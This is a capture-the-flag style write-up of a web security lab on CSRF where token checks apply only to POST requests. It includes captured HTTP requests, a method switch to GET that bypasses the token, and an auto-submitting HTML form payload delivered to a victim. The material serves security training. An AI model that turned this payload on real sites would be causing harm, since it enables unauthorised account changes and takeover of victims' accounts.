CSRF where token validation depends on request met
CSRF where token validation depends on request method¶
Solution¶
Login as user: wiener¶
L: wiener
P: peter
Sent a basic request (POST)¶
POST /my-account/change-email HTTP/2
Host: 0a2900550308704f82ea3d9600390097.web-security-academy.net
Cookie: session=zdV1yOAXibqCKjxF9Ny8XqXhAvXrLZV1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Origin: https://0a2900550308704f82ea3d9600390097.web-security-academy.net
Referer: https://0a2900550308704f82ea3d9600390097.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
email=wiener1%40normal-user.net&csrf=bLfChNGeedBjjtSIUkKIOOZGf8fYcqgk
Edit request (GET)¶
GET /my-account/change-email?email=wiener2%40normal-user.net HTTP/2
Host: 0a2900550308704f82ea3d9600390097.web-security-academy.net
Cookie: session=zdV1yOAXibqCKjxF9Ny8XqXhAvXrLZV1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Origin: https://0a2900550308704f82ea3d9600390097.web-security-academy.net
Referer: https://0a2900550308704f82ea3d9600390097.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
## Generate CSRF PoC
right-click on the request and select Engagement tools / Generate CSRF PoC
CSRF payload¶
Copy and paste payload to Body section (Exploit server) and click "Store" and "View explit" and "Delivery exploit to victim"
---
Payload
___
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a2900550308704f82ea3d9600390097.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="wiener3@fake-user.net" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>